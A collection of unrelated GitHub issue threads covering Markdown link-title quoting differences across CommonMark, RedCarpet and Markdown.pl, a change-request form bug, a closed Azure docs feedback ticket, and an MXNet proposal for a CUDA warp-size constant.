[Hello](./world.html "and "matching delimiters"") works in Markdown.pl and on RedCarpet/GitHub, but not in CommonMark;
[Hello](./world.html "and \"escapes\"") works in CommonMark, but not in Markdown.pl or on RedCarpet/GitHub;
[Hello](./world.html "and "named entities"") works in CommonMark and Markdown.pl, but not on RedCarpet/GitHub.

(The same goes for images.)
I would like entity support to be added to RedCarpet, as that seems to be the most simple addition.
Is there any interest in adding this support?

Support table:

Implementation
Characters
Nested
Mismatched
Escaped
Named Entities
Numbered Entities

Markdown.pl
"
Yes
Yes
No
Yes
Yes

RedCarpet
"
Yes
Yes
No
No
No

CommonMark
"
No
No
Yes
Yes
Yes

Markdown.pl
'
Yes
Yes
No
Yes
Yes

RedCarpet
'
Yes
Yes
No
No
No

CommonMark
'
No
No
Yes
Yes
Yes

Markdown.pl
()
-
-
-
-
-

RedCarpet
()
-
-
-
-
-

CommonMark
()
No
Yes
Yes
Yes
Yes

Fixtures
# Links

## Double quotes

[Hello](./world.html "and text")

[Hello](./world.html "and "matching delimiters"")

[Hello](./world.html "and "mismatched delimiters")

[Hello](./world.html "and \"escapes\"")

[Hello](./world.html "and "named entities"")

[Hello](./world.html "and "numbered entities"")

## Single quotes

[Hello](./world.html 'and text')

[Hello](./world.html 'and 'matching delimiters'')

[Hello](./world.html 'and 'mismatched delimiters')

[Hello](./world.html 'and \'escapes\'')

[Hello](./world.html 'and 'named entities'')

[Hello](./world.html 'and 'numbered entities'')

## Parentheses

[Hello](./world.html (and text))

[Hello](./world.html (and (matching delimiters)))

[Hello](./world.html (and (mismatched delimiters))

[Hello](./world.html (and \(escapes\)))

[Hello](./world.html (and (named entities)))

[Hello](./world.html (and (numbered entities)))

# Images

## Double quotes

![Hello](./world.png "and text")

![Hello](./world.png "and "matching delimiters"")

![Hello](./world.png "and "mismatched delimiters")

![Hello](./world.png "and \"escapes\"")

![Hello](./world.png "and "named entities"")

![Hello](./world.png "and "numbered entities"")

## Single quotes

![Hello](./world.png 'and text')

![Hello](./world.png 'and 'matching delimiters'')

![Hello](./world.png 'and 'mismatched delimiters')

![Hello](./world.png 'and \'escapes\'')

![Hello](./world.png 'and 'named entities'')

![Hello](./world.png 'and 'numbered entities'')

## Parentheses

![Hello](./world.png (and text))

![Hello](./world.png (and (matching delimiters)))

![Hello](./world.png (and (mismatched delimiters))

![Hello](./world.png (and \(escapes\)))

![Hello](./world.png (and (named entities)))

![Hello](./world.png (and (numbered entities)))

What do dashes in support table mean? I see that nested parentheses are supported by GitHub (RedCarpet) (e.g. [example](http://example.com?q=(())))

Common mark supports parentheses as delimiters for a title-attribute (see the last section of the examples). RedCarpet/GitHub/Markdown.pl do not.
I’m not talking about parentheses in the URL, rather, in or surrounding the title. Sorry for the confusion.


Change Request form project details need to be duplicated

When change fields in the change request, any changes to fields also changes the header info, which should never change

controller method itself needs to have [Authorize(Policy = AccessCodes.SupervisorAccess)].  Also then check that user has access depending on status of submit bool.  Also remove submit button from react UX depending on role.


Azure gen-AI

[Enter feedback here]

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 0420c618-b129-4c20-648b-7c70e50a86e1
Version Independent ID: 2b7c6f1d-2a5a-7cba-6fb8-a2c372090573
Content: Azure OpenAI Service deprecated models - Azure OpenAI
Content Source: articles/ai-services/openai/concepts/legacy-models.md
Service: azure-ai-openai
GitHub Login: @mrbullwinkle
Microsoft Alias: mbullwin

@matrix-compute
Thanks for posting this. Based on that shared information we are not able to understand your query/feedback completely. Since this channel is for driving improvements towards MS Docs. That way, we are able to make sure your feedback is addressed by the right team.

@matrix-compute
Since we have not heard back from you, we will now proceed to close this thread.
If there are further questions regarding this matter, please tag me in your reply. We will gladly continue the discussion and we will reopen the issue.


warp_size

For the GPU kernels, it'd be good to have a defined constant for the warp size so that it doesn't have to be hard coded in each file (see for example static const unsigned WARP_SIZE = 32 in batch_norm.cu).
Reading the warpSize from the cudaDeviceProp wouldn't be a good solution in my opinion in terms of performance.
If NVIDIA decides to change the warp size on a future architecture, it could then easily be switched depending on __CUDA_ARCH__.
@eric-haibin-lin @reminisce @cjolivier01 @bhavinthaker @piiswrong

common/cuda_utils.h might be a good place for that.

Is anyone taking this?

Be sure not to call to retrieve the value until a CUDA operation is imminent (i.e. Not on stating startup), or else it will cause the CUDA library to initialize (when there is one) or error (when there isn't).

I can probably add it to my optimization work since I make note of when GPU has first use. One drawback is that since mshadow has no static data, it's not straightforward how to set it in such a way that mshadow scope would be able to "see" it, without being kludgy.  Any suggestions?

@apache/mxnet-committers: This issue has been inactive for the past 90 days. It has no label and needs triage.
For general "how-to" questions, our user forum (and Chinese version) is a good place to get help.